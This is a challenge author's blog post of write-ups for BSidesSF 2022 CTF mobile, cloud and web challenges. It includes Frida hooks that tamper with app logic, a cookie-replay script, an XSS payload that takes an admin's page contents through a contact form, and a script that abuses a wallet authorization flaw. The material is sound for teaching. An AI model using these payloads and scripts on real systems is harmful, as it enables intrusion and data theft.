BSidesSF 2022 CTF Challenge Write-ups

its C0rg1
12 min readJun 20, 2022

--

Here is this year’s write-up for my challenges from BsidesSF CTF 2022. This year I wrote,

  • 3 Mobile challenges: Monstera, Arboretum and Bridgekeeper
  • 1 Cloud challenge: Cloud hurdles
  • 3 Web challenges: Log Blog, Farmer Town and Trivia Star
  • 2 XSS tutorials

I’ll share the solutions and the challenge writer Pov (lessons learned, key takeaways) for these challenges.

Mobile Challenges

Monstera

This was the 101 Android challenge, which requires reversing to find the various parts of the key. The players could use,

  • Android Studio to analyze the APK
  • Or Apktool to disassemble the app and JADX to decompile the dex files

The key is split across multiple base64 encoded strings,

Part 1 was in res/strings.xml,

<string name="part1">Q1RGe1JldjNyczM=</string>

This decodes to CTF{Rev3rs3.

Part 2 was a string in the classFirstFragement.java, the java code is -

String part2 = "VGgzQXBw";

In smali it shows up as ,

.line 17
const-string v0, "VGgzQXBw"

This decodes to Th3App.

Part 3 is in SecondFragment.java as an int array with the ASCII code of the base64 encoded string,

int part3[] = {84,106,66,51};

In smali it shows up as,

.array-data 4
0x54
0x6a
0x42
0x33
.end array-data

Decoding the ASCII code results in TjB3which base64 decodes to N0w .

Part 4 is in ThirdFragment.java split across three parts, which results in WWF5fQ== .

String part4_1 = "W";String part4_2 = "F5fQ==";String part4 = part4_1 + part4_1 + part4_2;

In smali it shows up as,

.line 18
const-string v0, "W"

iput-object v0, p0, Lcom/bsidessf/monstera/ThirdFragment;->part4_1:Ljava/lang/String;

.line 19
const-string v0, "F5fQ=="

iput-object v0, p0, Lcom/bsidessf/monstera/ThirdFragment;->part4_2:Ljava/lang/String;
---skip---
.line 26
new-instance v0, Ljava/lang/StringBuilder;

invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V

iget-object v1, p0, Lcom/bsidessf/monstera/ThirdFragment;->part4_1:Ljava/lang/String;

invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v0

iget-object v1, p0, Lcom/bsidessf/monstera/ThirdFragment;->part4_1:Ljava/lang/String;

invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v0

iget-object v1, p0, Lcom/bsidessf/monstera/ThirdFragment;->part4_2:Ljava/lang/String;

invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v0

invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

move-result-object v0

.line 27
.local v0, "part4":Ljava/lang/String;
const/4 v1, 0x0

This decodes to Yay} . Putting it all together results in CTF{Rev3rs3Th3AppN0wYay} . Players seemed to be thrown off by part 3, which required two levels of decoding (dec → ascii →base64). Next time I plan to add an explicit call out that the flag is a phrase in leet speak.

Arboretum

The app offers free NFTrees, i.e, PNGs of trees as NFTs. The user can request for an NFT through the app, which creates a Firebase shortlink that points to a GCS object (e.g, https://storage[.]cloud[.]google[.]com/arboretum-images-2022/tree.png). They can view this NFT by sending the dynamic URL to the Flask backend, which will create a signed URL for the image in the GCS bucket.

The Flask backend will only service the shortlink, so the player will need to create a shortlink and point it to https://storage[.]cloud[.]google[.]com/arboretum-images-2022/flag.png.

Arboretum overview

I messed up by adding the flag URL as a comment which won’t be included in the final APK. In the future, I will likely add this as an unused variable to make it easier for players to find the flag path.

There are 2 ways to solve this challenge,

  • Disassemble the app, dump the API key for Firebase and use it to create the dynamic link to pass to the back end
  • Patch the app using Frida to pass the flag URL as a parameter to the function that handles the Firebase short link creation (createShortLink())

The following is the Frida hook that can be used to solve this challenge,

console.log("Loading the Frida script");
Java.perform(function x() {
// Class to hook into
var targetClass = Java.use("com.bsidessf.arboretum.MainActivity");
var stringClass = Java.use("java.lang.String");
// function to hook into
targetClass.createShortLink.overload("java.lang.String").implementation = function (x) {
// flag url
var url = stringClass.$new("https://storage.cloud.google.com/arboretum-images-2022/flag.png");
// print the original url
console.log("Original url: " + x);
// pass our string
var ret = this.createShortLink(url);
console.log("Return from Frida script");
return ret;
};
});

Here is what it looks like in action,

$ frida -U -f com.bsidessf.arboretum -l solution.js --no-pause
____
/ _ | Frida 15.1.22 - A world-class dynamic instrumentation toolkit
| (_| |
> _ | Commands:
/_/ |_| help -> Displays the help system
. . . . object? -> Display information about 'object'
. . . . exit/quit -> Exit
. . . .
. . . . More info at https://frida.re/docs/home/
. . . .
. . . . Connected to Android Emulator 5554 (id=emulator-5554)
Spawning `com.bsidessf.arboretum`...
Loading the Frida script
Spawned `com.bsidessf.arboretum`. Resuming main thread!
[Android Emulator 5554::com.bsidessf.arboretum ]-> Original url: https://storage.cloud.google.com/arboretum-images-2022/tree3.png
Return from Frida script
Flag shown in the app

Bridgekeeper

The app uses Firebase Auth and Firestore, upon registration the app creates a key pair and associates the public key with the user by saving it in Firestore.

Bridgekeeper overview

The player needs to answer my 3 riddles three to gain access to the flag. The app only presents 2 riddles, but the third question and answer are available in the source code. The player’s progress is stored in a preferences file /data/data/com.bsidessf.bridgekeeper/shared_prefs/com.bsidessf.bridgekeeper.xml ,

<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<string name="Level_2">darkness</string>
<string name="Level_1">egg</string>
</map>

If the player tries to fetch the flag before solving all three riddles, they will be presented with the following response.

2022-06-18 19:20:46.100 6681-7853/com.bsidessf.bridgekeeper D/Response:: You need to solve all the levels!

The answer to the third riddle is available in the Utils.java file,

public class Util {
private static String answerOne = "656767";
private static String answerTwo = "6461726b6e657373";
private static String answerThree = "636f6c64";
....

Some players tried to replace the preferences file on disk with the following,

<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<string name="Level_3">cold</string>
<string name="Level_2">darkness</string>
<string name="Level_1">egg</string>
</map>

But newer versions of Android will not reload the preferences file from disk and the app will always overwrite the file.

Note: MODE_WORLD_WRITEABLE has been deprecated since API level 17, and this app uses MODE_PRIVATE.

When a player presses the Get Flag button, the app fetches their progress from the Shared preferences, signs it and sends it to the server. The backend will validate the signed data using the public key associated with the player and check if the progress string matches the expected string below.

{"Level_1":"egg","Level_2":"darkness","Level_3":"cold"}
Fetching the flag

To solve the challenge, the player can use Frida to hook into the app and modify the parameter sent to signData() function and the returned string from getPrefs() to,

{"Level_1":"egg","Level_2":"darkness","Level_3":"cold"}

The following is the Frida hook to solve this challenge,

console.log("Loading the Frida script");
Java.perform(function x() {
// Class to hook into
var targetClass = Java.use("com.bsidessf.bridgekeeper.ThirdFragment");
var stringClass = Java.use("java.lang.String");
// function to hook into
targetClass.getSign.overload("java.lang.String").implementation = function (x) {
// flag url
var data = stringClass.$new('{"Level_1":"egg","Level_2":"darkness","Level_3":"cold"}');
// print the original url
console.log("Original data: " + x);
// pass our string
console.log("Updated data:" + data);
var ret = this.getSign(data);
console.log("Return from Frida script");
return ret;
};
targetClass.getPrefs.overload().implementation = function (x) {
var data = stringClass.$new('{"Level_1":"egg","Level_2":"darkness","Level_3":"cold"}');
return data;
};
});

Here is what it looks like in action,

$ frida -U -f com.bsidessf.bridgekeeper -l solution.js --no-pause
____
/ _ | Frida 15.1.22 - A world-class dynamic instrumentation toolkit
| (_| |
> _ | Commands:
/_/ |_| help -> Displays the help system
. . . . object? -> Display information about 'object'
. . . . exit/quit -> Exit
. . . .
. . . . More info at https://frida.re/docs/home/
. . . .
. . . . Connected to Android Emulator 5554 (id=emulator-5554)
Spawning `com.bsidessf.bridgekeeper`...
Loading the Frida script
Spawned `com.bsidessf.bridgekeeper`. Resuming main thread!
[Android Emulator 5554::com.bsidessf.bridgekeeper ]-> Original data: {"Level_1":"egg","Level_2":"darkness","Level_3":"cold"}
Updated data:{"Level_1":"egg","Level_2":"darkness","Level_3":"cold"}
Return from Frida script

The flag will show up in Logcat as follows,

2022-06-18 19:50:06.768 8117-8245/com.bsidessf.bridgekeeper D/Response:: Flag is CTF{Hardwar3BackedK3y5FTW}

The hardware backed key pair was created at the time of registration and saved in Firestore. If players reinstalled the app or used the emulator, this resulted in crashes and 500 errors when interacting with the Flask backend. This resulted in players thinking the challenge was broken and feeling frustrated. In the future, I should handle these errors more gracefully and avoid 5XX error codes.

Cloud Challenge

Cloud hurdles

This challenge required players to perform a series of tasks that involved interacting with various Google Cloud resources. The challenge description provided the first task and the regions where the resources were located.

Get ready to clear 5 tasks to get to the flag, everything you need is in the Google Cloud project - bsidessf2022-recon, resources are in us-west1 or us-central1. Your first task is in the bucket - bsidessf-2022-task1.

Task 1

The first task was fairly simple, players could navigate to the bucket (https://storage[.]googleapis[.]com/bsidessf-2022-task1/) which shows that there is only one file named task2.txt.

<ListBucketResult xmlns="http://doc.s3.amazonaws.com/2006-03-01">
<Name>bsidessf-2022-task1</Name>
<Prefix/>
<Marker/>
<IsTruncated>false</IsTruncated>
<Contents>
<Key>task2.txt</Key>
<Generation>1652668999272303</Generation>
<MetaGeneration>2</MetaGeneration>
<LastModified>2022-05-16T02:43:19.273Z</LastModified
<ETag>"514f3b184e97b4895588f13672400fd2"</ETag>
<Size>65</Size>
</Contents>
</ListBucketResult>

They can view task2.txt by visiting https://storage[.]googleapis[.]com/bsidessf-2022-task1/task2.txt.

Quick, head to our Firebase realtime database for your next task.

Task 2

Players found this task fairly frustrating, they suggested adding a hint to look for the default URL to help nudge them in the right direction next time. The default Firebase realtime DB is usually at https://<project-name>-default-rtdb.firebaseio.com, so for bsidessf2022-recon it will be https://bsidessf2022-recon-default-rtdb[.]firebaseio[.]com. Some players spun up a Firebase RTDB to identify this default URL path format, which is a great way to tackle this task!

This DB is intentionally configured to be public, you can view it by visiting https://bsidessf2022-recon-default-rtdb[.]firebaseio[.]com/.json. Which will show you the next clue.

{"Task":"Good job, subscribe to bsidessf-2022-task3-sub for the next task"}

Task 3

For this task, players need to pull messages from the sub bsidessf-2022-task3-sub. They can use the Google API playground to make an API call to rest/v1/projects.subscriptions/pull.

Request Parameters

  • subscription: projects/bsidessf2022-recon/subscriptions/bsidessf-2022-task3-sub
  • body: “maxMessages”:10
  • Check the box use the API key
Sample API call

Sample response,

{
"receivedMessages": [
{
"ackId": "RVNEUAYWLF1GSFE3GQhoUQ5PXiM_NSAoRRoHCBQFfH1xQ1p1VVkaB1ENGXJ8aXU5C0ZSBk0ALVVbEQ16bVxttPa6vURfQXFsWhEHAENbfF9dGgpvX1hdk_S2j-b8x01wYSuypfL3SH-q3MRkZiA9XxJLLD5-LTdFQV5AEkwmAkRJUytDCypYEU4EISE-MD4",
"message": {
"data": "bmV4dC10YXNr",
"attributes": {
"task4": "Awesome! The next task awaits you at cloud function bsidessf-2022-task4"
},
"messageId": "4602626820617734",
"publishTime": "2022-05-16T03:32:04.477Z"
}
}
]
}

Task 4

For this task, the player will need to invoke the cloud function bsidessf-2022-task4 by visiting https://us-west1-bsidessf2022-recon[.]cloudfunctions[.]net/bsidessf-2022-task4.

This will lead to the next task,

One last task, fetch the source code for this function to view the flag. You do need to be authenticated!

Task 5

In a browser session with an authenticated Google account, the player will need to make an API call to rest/v1/projects.locations.functions/generateDownloadUrl.

Request Parameters

  • name: projects/bsidessf2022-recon/locations/us-west1/functions/bsidessf-2022-task4
  • Check the box for OAuth and API key
Sample API call

Sample response,

{
"downloadUrl": "https://storage.googleapis.com/gcf-sources-373933237187-us-west1/bsidessf-2022-task4-3e94d742-f61f-42a1-90f8-c42f3d9926dc/version-1/function-source.zip?GoogleAccessId=service-373933237187@gcf-admin-robot.iam.gserviceaccount.com&Expires=1652675455&Signature=s9MCM9YOnmD4WFclEx0....snip...."
}

This works in the v1 API but not v2, which was an unintentional hurdle and something I learned from onsite players :) .

Web Challenges

Trivia Star

This challenge requires players to collect 50 stars, they earn a star every time they answer a trivia question. The catch is that there are only 5 trivia questions after which the game will restart.

Trivia star UI

The app uses 2 cookies,

  • session: Standard Flask Session to maintain the game state
  • star: As the name implies, to track number of stars earned

The star cookie is structured as follows,

hash(previous_hash + salt)

To solve this challenge, the players would need to retain the star cookie when they restart the game and keep looping until they collect 50 stars.

Here is an automated way to solve this challenge,

import requests
import sys
if len(sys.argv) != 2:
print('Usage: solution.py <challenge-url>')
# Variables
url = sys.argv[1]
answerKey = ['planet','passport','game','rabbit','secrets']
starCount = 0
star = "5f2b5e62b65230eb7fe1856556bad37ed661f299a791df5acad939d4b35a7835"
with requests.Session() as s:
# Initial set-up
s.get(url + '/start')
s.get(url + '/home')
cookies = s.cookies.get_dict()
sessionVal = cookies['session']
while starCount < 50:
for i, value in enumerate(answerKey):
newCookies = {'session':sessionVal,'star':star}
r = s.get(url + '/check-answer?answer=' + answerKey[i],cookies=newCookies)
cookies = s.cookies.get_dict()
if i == 4:
sessionVal = ''
else:
star = cookies['star']
sessionVal = cookies['session']
starCount += 1
if starCount == 50:
break
r = s.get(url + '/flag',cookies=newCookies)
print(r.content)

Log blog

This was an XSS challenge where the users had to steal the flag through the admin’s session. The CSP for the site has a restrictive connect-src, so players can only rely on endpoints on the Log-blog site.

script-src 'self' 'unsafe-inline'; default-src 'self'; style-src 'self' 'unsafe-inline'; connect-src 'self'; report-uri /csp_report; frame-src 'none'

The blog has a contact form which sends a message to the admin, including an option to send a copy of the message to our email.

Contact us form on Log-blog

The following XSS payload can be used to steal the flag,

<script>
let content = document.documentElement.innerHTML
let formData = new FormData();
formData.append('email', 'your-email');
formData.append('message',content);

fetch('/send-copy', {
method: 'POST',
body: formData
})
</script>
Sample email

Some players had issues with the email functionality, the email likely ended up in spam. Unfortunately, asking players to check their spam folder would have been too big a hint to hand out.

Farmer Town

This was my favorite challenge to write, mostly because I got a bit carried away with the UI elements.

Farmer Town — home page

The seed grows every time the player waters it, the seed needs to be in the final stage (stage III) to get the flag. Unfortunately, the can breaks after a single use.

Single use can :(

The player would need to buy a new can to water the plant. However, they only have 5g and a new can is 10g. Luckily, there is an authorization bug, which allows users to sell items and deposit the amount to a different user’s wallet.

Sample sell request,

https://farmer-town-f1919184.challenges[.]bsidessf[.]net/sell?id=2&wallet_id=b92a6df5-ce16-4a31-9ea3-56d80c82f4cf

One way to solve this challenge would be to,

  • Account#1: Water the seed
  • Account#1: Sell the used can for 1g
  • Create 2 accounts (Account#2, Account#3)
  • Account#2 and Account#3: Sell the unused cans with 2g and deposit it to Account#1
  • Account#1: Buy a new can and water the plant
  • Account#1: Fetch the flag

My automated solution for this challenge is below,

import requests
import sys
import re
if len(sys.argv) != 3:
print('Usage: solution.py <challenge-url> <username>')

# Variables
url = sys.argv[1]
username = sys.argv[2]
password = "woofwoof"
keyUser = ''

# Method to handle the selling of cans
def sellCans(id, KeyUser):
with requests.Session() as s1:
regParam = {'username':username + id,'password':password,'confirm':password,'submit':'Register'}
s1.post(url + '/register',json=regParam)
loginParam = {'username':username + id,'password':password,'submit':'Login'}
s1.post(url + '/login', json=loginParam)
r = s1.get(url + '/home')
canId = re.search('(?<=sell\?id\=)([\w-]+)',r.text).group(1)
r = s1.get(url + '/sell?id=' + canId + '&wallet_id=' + keyUser)

# Set-up your main user
with requests.Session() as s:
regParam = {'username':username,'password':password,'confirm':password,'submit':'Register'}
s.post(url + '/register',json=regParam)
loginParam = {'username':username,'password':password,'submit':'Login'}
s.post(url + '/login', json=loginParam)
s.get(url + '/water')
r = s.get(url + '/home')
keyUser = re.search('(?<=wallet\_id\=)([\w-]+)',r.text).group(1)
canId = re.search('(?<=sell\?id\=)([\w-]+)',r.text).group(1)
s.get(url + '/sell?id=' + canId + '&wallet_id=' + keyUser)
print(keyUser)
# Sell Cans on two other accounts
sellCans('1',keyUser)
sellCans('2',keyUser)
# Buy a can, water plant and get flag
s.get(url + '/buy?id=Can')
s.get(url + '/water')
r = s.get(url + '/flag')
print(r.text)

Closing thoughts

This year 2 of my challenges, Bridgekeeper and Cloud hurdles missed the mark in terms of execution. While players liked the challenges once they made it through the roadblocks, some of the issues were unintended (500 errors throwing people off) or due to unclear descriptions.

I really enjoyed the conversations after the event closed and I will be taking the lessons learned into next year to make the challenges fun and interesting.

--

--

its C0rg1

Security Engineer in silicon valley, foodie, gamer and serial doodler. Specialize in red teaming and application security.